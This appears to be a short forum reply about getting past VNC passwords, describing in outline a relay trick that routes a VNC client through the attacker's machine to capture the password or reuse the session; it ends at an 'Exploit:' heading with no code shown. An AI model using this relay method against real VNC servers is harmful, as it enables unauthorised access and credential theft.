There are many vnc supposed password breakers,
never found a one that works, suppose wouldve heard about one by now.
However there is a trick method where you can run a “proxy” like program where you trick the vnc client to connecto to the server via another ip (yours) and you forward the traffic to the correct server, stealing the password in the process
again i have neever got this working and i think there is a old post somewhere ; ill try and dig it out for you.
By using the below exploit code it is possible to use a VNC server without knowing its password by causing a client to authenticate through the attacking host, while the attacker redirects it to the server.
Exploit:
